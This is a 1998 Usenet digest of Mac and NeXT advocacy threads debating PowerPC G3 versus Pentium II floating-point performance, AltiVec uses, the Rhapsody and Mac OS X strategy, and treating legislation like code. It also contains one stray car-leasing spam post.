>can be passed in a given year. Hack the federal government back down
>to a semblence of what they were intended to be.
The problem with this is that it only encourages them to hack current laws
in the efforts of time. They'd never repeal anything.
> Maybe the computer industry has something to offer here.
>
>Unfortunately, most of it would be negative. In fact, I think it
>would be worthwhile to _forbid_ use of computer technology in the
>passing of laws.
Sorry, that wasn't what I meant. Think of a law as you would a piece of
code. What happens after you dig in and change and add to and adjust a
piece of code enough times? It tends to get bloated and buggy and stops
being very efficient. Isn't that pretty much what happens to laws here? We
add exceptions and riders and turn everything into a mess eventually. The
US Government is to legislation what Microsoft is to software.
By putting a time limit on legislation, you in effect end up depreciating
your laws, as you probably should your code. When a law receives a certain
amount of change, you should probably go back and rewrite it. As you
should your code. To offset this, you can write your laws to be simple and
modular, as you should your code. Rather than have an income tax riddled
with exceptions and variations, make a number of simple tax laws that
affect various areas but are conceptually divorced from one another.
The computer industry is faced with the challenge of creating, organizing,
and maintaining increasingly complex structures. The computer industry has
developed techniques for doing so. Congress has *exactly* the same problem
with laws. Pick up the IRS rules if you have any doubt...
> I like it better as well. The checks and balances system has turned
> out, IMO, to be pretty nicely matched - no need to upset things...
>
>I'm actually starting to appreciate our current system more and more.
>The reason is that it seems to be having troubles _doing_ anything.
It also has troubles _undoing_ things that should be undone. That's my
biggest concern.
-Bob Cassidy
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 17:58:06 GMT
Organization: I don't think so
Message-ID: <slrn6ol9sh.84m.jason@jhste1.dyn.ml.org>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <joe.ragosta-1806982140420001@elk120.dol.net> <6mcgbq$abc$1@hecate.umd.edu> <joe.ragosta-1906980813580001@wil84.dol.net> <6me2ih$hrc$3@hecate.umd.edu> <joe.ragosta-1906981305340001@wil53.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>Assuming that Linux is currently released for G3s, all you have to do is
>show some benchmark scores on Linux to show that the FP is slow. You
>haven't done that.
You don't really want to go there, I don't think. Libmoto speeds some
things up substantially (factor of 5 on average for the functions it
contains), but the rest of our libm is pretty slow.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 19 Jun 1998 15:42:06 GMT
Organization: University of Maryland, College Park
Message-ID: <6me0se$hrc$1@hecate.umd.edu>
References: <6mbo49$bt6$1@hecate.umd.edu> <B1AF069E-24165@206.165.43.108>
Lawson English (english@primenet.com) wrote:
: David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> said:
: > "The PPC 750 is not as good as the 604 at floating point, IIRC, but
: > it should beat the Pentium II quite comfortably."
: >
: >As the numbers will show that it does not beat Pentium II quite
: >comfortably.
: Doesn't it depend on the algorithms?
: If the algorithm used can make use of lots and lots of registers, then the
: 750 might do better than the SPEC95fp scores suggest. OTOH, if fewer than 8
: registers are needed, the PII might do better than SPEC scores suggest.
Why? The actual machine implmentation is very different from the programmer's
model, and even when you "run out" of registers, it's not necessarily
true that you have to go all the way out to memory to get the values.
: ----------------------------------------------------------------------
: Want Apple to license Cyberdog for third-party development? Go to:
: <http://www.pcsincnet.com/petition.html>
: ----------------------------------------------------------------------
--
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 15:37:13 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6me0j9$k47$1@news.spacelab.net>
References: <6mbo49$bt6$1@hecate.umd.edu> <B1AF069E-24165@206.165.43.108>
"Lawson English" <english@primenet.com> wrote:
>David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> said:
>> "The PPC 750 is not as good as the 604 at floating point, IIRC, but
>> it should beat the Pentium II quite comfortably."
>>
>>As the numbers will show that it does not beat Pentium II quite
>>comfortably.
>
>Doesn't it depend on the algorithms?
Of course.
>If the algorithm used can make use of lots and lots of registers, then the
>750 might do better than the SPEC95fp scores suggest. OTOH, if fewer than 8
>registers are needed, the PII might do better than SPEC scores suggest.
To some extent, sure. On the other hand, I'm pretty sure that the PPC simply
outperforms the Pentium regardless of the specific calculations being
done....
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: John Hornkvist <sorry@no.more.spams>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Fri, 19 Jun 1998 11:12:16 GMT
Organization: Chalmers Tekniska Högskola
Sender: john@haddock.cd.chalmers.se (John Hprnkvist)
Message-ID: <EuspsG.H7w@haddock.cd.chalmers.se>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In <6mbdca$trv$1@hecate.umd.edu> David T. Wang wrote:
>
> The 300 MHz PPC750 has an estimated SPECfp95 score of 8.5
> The 300 MHz Pentium II has a SPECfp95 score of 8.8
> The 400 MHz Pentium II has a SPECfp95 score of 12.4
SPECfp is turning into a memory system benchmark rather than a fpu benchmark.
Notice that 400/300 = 1.3333 and 12.4/8.8=1.41. This may be due to compiler
improvements, but is more likely to be due to the 100MHz memory bus of the
PII 400 as opposed to the 66MHz bus of the PII 300.
I also believe that the newer Pentium IIs have a L2 cache that runs at the
core speed, but I don't think that affects the SPECfp benchmark very much
given the rather small cache size.
Regards,
John Hornkvist
Address: cd.chalmers.se
Name:nhoj
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 19 Jun 1998 16:00:54 GMT
Organization: University of Maryland, College Park
Message-ID: <6me1vm$hrc$2@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <slrn6oja2k.3c0.jason@jhste1.dyn.ml.org> <6mcetr$vbe$1@hecate.umd.edu> <slrn6ojpfk.58o.jason@jhste1.dyn.ml.org>
Jason S. (jason@jhste1.dyn.ml.org) wrote:
: David T. Wang posted the following to comp.sys.mac.advocacy:
: >1. Wouldn't you expect a machine with a 66 MHz memory bus would beat a
: >machine with a 50 MHz bus in STREAM?
: Not necessarily, if the machine with the 50 MHz bus had interleaved
: memory, and the machine with the 66 MHz bus didn't.
Have you considered the possibility that you are using (internally
multibanked) SDRAM on the 66 MHz system? Interleaving buys you the
ability to have multiple pages open at the same time, because you have
different banks of memory you can talk to.
Since you are comparing 50 MHz FPM and interleaving memory subsystem to a
66 MHz SDRAM based memory subsystem, STREAM will be faster on the 66 MHz
SDRAM based subsystem.
The IBM page below can explain it much better than I can.
http://www.chips.ibm.com/products/memory/sdramart/sdramart.html
: --
: Whenever you find that you are on the side of the majority, it is time
: to reform.
: -- Mark Twain
--
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 19 Jun 1998 16:10:57 GMT
Organization: University of Maryland, College Park
Message-ID: <6me2ih$hrc$3@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <joe.ragosta-1806982140420001@elk120.dol.net> <6mcgbq$abc$1@hecate.umd.edu> <joe.ragosta-1906980813580001@wil84.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: In article <6mcgbq$abc$1@hecate.umd.edu>,
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: > Joe Ragosta (joe.ragosta@dol.net) wrote:
: > : Of course, you neglect the fact that the G3 was optimized for MacOS. That
: > : makes any scores on Unix irrelevant.
: >
: > And the relevence to this piece of information to my point of contention
: > is? Remember, someone posited that G3 750's FP performance should
: > easily beat Pentium II. I posted numbers showing that it does not.
: > What does MacOS/unix issue have to do with this?
: Just one thing. Can you point to ANY G3 750 systems that are not installed
: in Macs?
remember Linux PPC?
: --
: Regards,
: Joe Ragosta
: http://www.dol.net/~Ragosta/complmac.htm
--
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 09:20:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AFDDB1-429B3@206.165.43.105>
References: <6mdal0$i9a$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1AF0625-224F9@206.165.43.108> "Lawson English" claimed:
>> The subject, I think, was games. FP usage in games would *probably*
> benefit
>> more from AltaVec than from a 50% faster overall FP unit. You'd have to
>> test to be sure, of course.
> Well here's my logic...
>
>a) apps are almost always written to the lowest common denominator, that
>is
>they tend not to make use of processor specific functions because the
>compilers make it too hard. Thus the poor use of MMX, and in the
(distant)
>past, fp on the Mac.
The first version of MrC that targets AltiVec was just announced. It's
available for download in the MPW section of Apple's web-site. An AltiVec
emulator is going to be available "soon" for testing/debugging.
>
>b) the mitigating factor in this regard is libraries. As long as the
vendor
>is good about using their own abilities (Apple's track record is 50-50 in
>this area) then you should see advantages in those libraries.
Obvious places where AltiVec could be used include the Sound Manager, QTML
(including QTMI and Midi), QD3D, QDe, internet protocols, etc. All but QDe
are traditionally implemented as INITS, so they could be upgraded
piece-meal. Apple appears to be heading in the direction of using shared
libraries for everything, so eventually just about EVERY part could be
upgraded separately.
>
>c) the problem is that the time games spend in the libraries other than
QT,
>QD or QD3D (etc) is likely small.
But all of the above would benefit from AltiVec since it handles integer
values as well as floats.
>
> So I think my logic isn't too far off. More to the point I don't
believe
>that AV's FP performance on a _single_ float or double is likely to be
>better
>than the fp unit's (obviously, or they'd remove the fp side).
AV only implements +,-,*, /, for floats, so they'd always have SOME kind of
FP unit handy unless we're taking about some kind of embedded system.
Thus unless
>the AV is at least 50% as fast as the fp unit in terms of double
processing,
>fp is going to be slower in AV than fp. In fact I think it's almost
>certainly the case - or again, they'd remove the fp.
Nope. AV only handles floats, not doubles and only a subset of the FPU
unit's capabilities.
>
> The long and short of it is that in general better fp is going to help,
>whereas better AV _may_ help. The ratio of the time you spend in "either
>side" will define which one will help you more. I'll put bucks on the fp
>side for some time into the future.
But not for many kinds of games. Remember that AV isn't just for doing
vector math on floats. There's 161 instructions available and they do all
SORTS of things to data. The integer-oriented instructions will prove very
handy in 3D games, I think. The permutation instruction is supposed to be a
joy to work with.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: MS Office 2000 - an OpenDoc clone?
Date: Fri, 19 Jun 1998 19:00:18 +0200
Organization: Completely Disorganized
Message-ID: <1davw09.o53r0m1ib5v89N@rhrz-isdn3-p41.rhrz.uni-bonn.de>
Mail-Copies-To: never
<http://www.news.com/News/Item/0,4,23268,00.html?st.ne.fd.mdh>
<EXCERPT>
As previously reported, the new version of Office is a radical departure
from previous releases. Microsoft will recast Office as a series of
application components, including Word, Excel, PowerPoint, Access, and
Outlook, which can be distributed and managed from a central server.
That's a major shift from the company's previous "no-component" stance.
</EXCERPT>
Predictions:
- They will tell the world that component-ware is what everyone has been
waiting for -- and the world will believe it.
- It won't really be open to extension by third parties -- and no one
will even expect it, "Doesn't Microsoft give us all we need?"
- Apple will not even notice what's happening.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
Date: Fri, 19 Jun 1998 13:06:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1906981306470001@wil53.dol.net>
References: <6mdal0$i9a$1@ns3.vrx.net> <B1AFDDB1-429B3@206.165.43.105>
In article <B1AFDDB1-429B3@206.165.43.105>, "Lawson English"
<english@primenet.com> wrote:
> Obvious places where AltiVec could be used include the Sound Manager, QTML
> (including QTMI and Midi), QD3D, QDe, internet protocols, etc. All but QDe
> are traditionally implemented as INITS, so they could be upgraded
> piece-meal. Apple appears to be heading in the direction of using shared
> libraries for everything, so eventually just about EVERY part could be
> upgraded separately.
Why not MPEG decoding? Do it in software rather than having a separate board.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 19 Jun 1998 13:05:34 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1906981305340001@wil53.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu> <joe.ragosta-1806982140420001@elk120.dol.net> <6mcgbq$abc$1@hecate.umd.edu> <joe.ragosta-1906980813580001@wil84.dol.net> <6me2ih$hrc$3@hecate.umd.edu>
In article <6me2ih$hrc$3@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
> : In article <6mcgbq$abc$1@hecate.umd.edu>,
> : davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
>
> : > Joe Ragosta (joe.ragosta@dol.net) wrote:
>
> : > : Of course, you neglect the fact that the G3 was optimized for
MacOS. That
> : > : makes any scores on Unix irrelevant.
> : >
> : > And the relevence to this piece of information to my point of contention
> : > is? Remember, someone posited that G3 750's FP performance should
> : > easily beat Pentium II. I posted numbers showing that it does not.
> : > What does MacOS/unix issue have to do with this?
>
> : Just one thing. Can you point to ANY G3 750 systems that are not installed
> : in Macs?
>
> remember Linux PPC?
Assuming that Linux is currently released for G3s, all you have to do is
show some benchmark scores on Linux to show that the FP is slow. You
haven't done that.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: 3D card in iMac cartidge!!! (Was Re: Games and the consumer market.
Date: Fri, 19 Jun 1998 10:08:34 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1906981008340001@dante.eng.uci.edu>
References: <35896c04.0@news.depaul.edu> <B1AF07E7-28EC6@206.165.43.108> <forrestDELETE-THIS!-1806982212230001@term2-13.vta.west.net>
In article <forrestDELETE-THIS!-1806982212230001@term2-13.vta.west.net>,
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
>Doesn't anyone remember my suggestion ages back for a modular computer? (I
>think the thread was "The Future of Computing" or some such). It was
>basically the above, but taken further. *Every* internal component would
>be like a cartridge, which could just be a drive or a card in a little
>plastic casing, and the "computer" would just be a chassis and bus...
Apple had a design called 'Jonathan' that was exactly that. A bunch of
modules that snapped together side-by-side (think of a Joule stack on it's
side) that had modem, RAM, HD, etc.
Look for old Apple designs. It was butt-ugly, black, and conceived in
about 1985. Steve must have still been around but not yet fully refined
his design sense... So a good idea, 14 years after Apple first thought it
up... :-)
-Bob Cassidy
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WebObjects spin-off rumor
Date: 19 Jun 1998 15:53:29 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6me1hp$bra$1@sun27.hrz.tu-darmstadt.de>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <6m0kg4$khs@nntp02.primenet.com> <6m13tr$ndd$4@ironhorse.plsys.co.uk> <6m1eq1$hkq@nntp02.primenet.com> <6m8k50$5mq$2@ironhorse.plsys.co.uk> <6ma6gv$akr$1@argentina.it.earthlink.net> <6mdklk$6qk$1@sun27.hrz.tu-darmstadt.de> <358A7800.C7D48C3B@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
>Christian Neuss wrote:
>
>> Well, I'm not supposed to tell you yet, but what the heck, so much has
>> leaked out already, it doesn't really make a difference: Yes, Apple is
>> going to drop WebObjects. This was part of the Apple-Microsoft deal
>> last year. Actually, Apple will not only drop Rhapsody, WebObjects,
>> but will go out of the software business altogether, and focus on
>> being a hardware maker. MacOS X _really_ will be NT 5.0. The portable
>> consumer device scheduled for spring 99 will run Windows CE, but come
>> in a nice translucent case to differentiate it from the various PDAs
>> from HP, Casio etc.
>
>This would be funny if it didn't sound so desperate and frustrated.
Well, I must admit, should Apple actually make such decisions (and
while Apple marketing pretty much spun out of control lately, I still
they won't), they'd be reduced to a maker of interesting exteriors.
And Yours Truely would be quite desperate and frustrated.
However, as they say, the fat lady hasn't sung yet..
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 19 Jun 1998 09:09:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AFDB29-3915D@206.165.43.105>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Ed Deans. <eadeans@san.rr.com> said:
>
>Another question, what kinds of usability/productivity enhancements would
>you like to see in Mac OS X?
>
OpenDoc integrated with YB. Brad Hutchings appears to believe that ODF can
be hosted on Carbon, or so his remarks seem to indicate. That being the
case, we should see APple create a YB-based OpenDoc that can interact with
the Carbon-based one.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Fri, 19 Jun 1998 10:12:47 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1906981012470001@dante.eng.uci.edu>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <6m8jqk$7rv@news-central.tiac.net> <rmcassid-1706980907240001@dante.eng.uci.edu> <6mciuj$8fe@news-central.tiac.net>
In article <6mciuj$8fe@news-central.tiac.net>, "Raffael Cavallaro"
<raffael@pop.tiac.net> wrote:
>You obviously don't recall the fact that MacOS 8 was supposed to be
>Copland - i.e., it was publicly stated by Apple that the successor the MacOS
>7 (which would be 8, right, or do they count differently in Cupertino?)
>would have PMT, memory protection, etc. They even went so far as to demo it
>at trade shows during development, that is, until it became clear that the
>project was failing. Then they cancelled Copland and did something really
>sleazy...
I recall Copland all too well, thank you very much. But the ship is being
sailed by a whole new crew, and the OS 8 as they envisioned it shipped on
time, as did 8.1, and as 8.5 appears to be.
We can continue to berate Apple for not shipping Copland, but since there
is nobody there that was responsible for it, then we'd be just as accurate
to berate Iomega instead.
Judge this crew for what *they* have done.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Fri, 19 Jun 1998 10:55:04 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1906981055040001@dante.eng.uci.edu>
References: <6mdal0$i9a$1@ns3.vrx.net> <B1AFDDB1-429B3@206.165.43.105> <joe.ragosta-1906981306470001@wil53.dol.net>
In article <joe.ragosta-1906981306470001@wil53.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>Why not MPEG decoding? Do it in software rather than having a separate board.
Do any Mac people *use* a separate board? I don't.
-Bob Cassidy
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 18:28:36 GMT
Organization: I don't think so
Message-ID: <slrn6olbm0.8jf.jason@jhste1.dyn.ml.org>
References: <6mdal0$i9a$1@ns3.vrx.net> <B1AFDDB1-429B3@206.165.43.105> <joe.ragosta-1906981306470001@wil53.dol.net> <rmcassid-1906981055040001@dante.eng.uci.edu>
Robert Cassidy posted the following to comp.sys.mac.advocacy:
>>Why not MPEG decoding? Do it in software rather than having a separate board.
>Do any Mac people *use* a separate board? I don't.
I think Joe's talking about high-bitrate MPEG-2 streams, as on DVDs.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Drive
Subject: Drive any new car for $100 p/month.
Message-ID: <56$tOF1m9GA.159@cidintnews.infosel.com.mx>
Newsgroups: comp.sys.next.advocacy
Date: Fri, 19 Jun 1998 02:10:15 -0500
Drive any new car for $100 p/month.
Any Make
Any Model
Any Price
No Down Payment!
No Bank Fees!
No Security Deposits!
Home Based Biz. Opportunity-NOT MLM!
For more information,
call 716-389-9669 and a live operator will take down your Name, Address, Phone,
Fax (optional), and email (optional) so that we can send you an information package.
It is important that you give this information, since we will not send any info without it.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 19 Jun 1998 20:06:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6megc0$d4h$1@nnrp1.dejanews.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net> <6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> What galls me is not that Jobs is doing what he obviously must. What
> galls me is that you seem to applaud the entire course of history
> involved.
Who says I applaud it? Do a search on Deja News for articles I've written and
you'll find plenty that are critical of Apple, using words such as
"boneheaded".
I still think killing cloning was a stupid idea. I think not proceeding with
future Intel versions of Rhapsody (under whatever name) is a stupid idea. And
I think they've consistently brought problems on themselves by their attempts
to manipulate the messages they were putting out concerning OS directions.
And I've said so repeatedly in this forum.
On the other hand, I DON'T think that the shift from the previous "Rhapsody
Strategy" to the current "MacOS strategy" was a stupid idea. On the contrary,
I think it's a very good idea. Part of the reason I think so is that,
contrary to what you seem to think, I believe just about all of what made
Rhapsody interesting will be in MacOS. And I think so not because of blind
faith in Apple but because the technical presentations made at WWDC
demonstrated that this was the case. Again, the main exception is DPS, and I
believe we would have lost that whether or not Apple went to MacOS, since
that seems to have been a separate fight with Adobe, not a technical
decision.
> Again, the claim has backed off from "It's OPENSTEP with a MacOS GUI" to
> "they're almost exactly the Rhapsody architecture diagrams", not even a
> mention of OPENSTEP anymore. Since nobody even knows what "Rhapsody" is,
> I'm struck by how nebulous this whole line of argument has become.
You want me to put it differently? As far as I'm concerned, MacOS is an
advanced version of OPENSTEP with a MacOS GUI, plus an enhanced version of
the Blue Box (these two preceding elements together I consider to be
Rhapsody), plus the Carbon APIs to enhance compatibility with legacy Mac
apps.
Apple has chosen to call this combination "MacOS X" instead of "OPENSTEP 5"
or "Rhapsody 2" or "Charlie" or "Tom" or any other name they could have
chosen, but whatever they call it, the guts of it is ultimately derived from
OPENSTEP.
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 19 Jun 1998 10:44:10 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1906981044100001@dante.eng.uci.edu>
References: <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu> <35856fd0.0@news.depaul.edu> <rmcassid-1506981316410001@dante.eng.uci.edu> <35858DEB.5EE3F11E@nstar.net> <rmcassid-1506981504300001@dante.eng.uci.edu> <SCOTT.98Jun15161002@slave.doubleu.com> <358e60c7.3384884@news.supernews.com>
In article <358e60c7.3384884@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>The _last_ thing I'd want to see is a legislature that knows that,
>despite their partisanship and lunacy, their actions will only be
>"temporary". This would cause such idiocy in legislation that I doubt
>our civilization could survive intact.
It think the real problem is that there already is a firm belief that
their actions are temporary due to elections. We don't depreciate laws,
but we do depreciate law-makers. The net effect is the same from the
legislators viewpoint, but not from the viewpoint of a public that needs
to live with what they generate.
-Bob Cassidy
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 17:59:59 GMT
Organization: I don't think so
Message-ID: <slrn6ola08.84m.jason@jhste1.dyn.ml.org>
References: <6mdal0$i9a$1@ns3.vrx.net> <B1AFDDB1-429B3@206.165.43.105> <joe.ragosta-1906981306470001@wil53.dol.net>
Joe Ragosta posted the following to comp.sys.mac.advocacy:
>> Obvious places where AltiVec could be used include the Sound Manager, QTML
>> (including QTMI and Midi), QD3D, QDe, internet protocols, etc. All but QDe
>> are traditionally implemented as INITS, so they could be upgraded
>> piece-meal. Apple appears to be heading in the direction of using shared
>> libraries for everything, so eventually just about EVERY part could be
>> upgraded separately.
>Why not MPEG decoding? Do it in software rather than having a separate board.
Yeah, I can think of two or three things in MPEG (just off the top of my
head) where AltiVec would yield huge improvements.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 11:33:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AFFCC8-B77D2@206.165.43.105>
References: <6me0se$hrc$1@hecate.umd.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
David T. Wang <davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu> said:
Lawson English <english@primenet.com> said:
> If the algorithm used can make use of lots and lots of registers, then
the
>: 750 might do better than the SPEC95fp scores suggest. OTOH, if fewer
>than 8
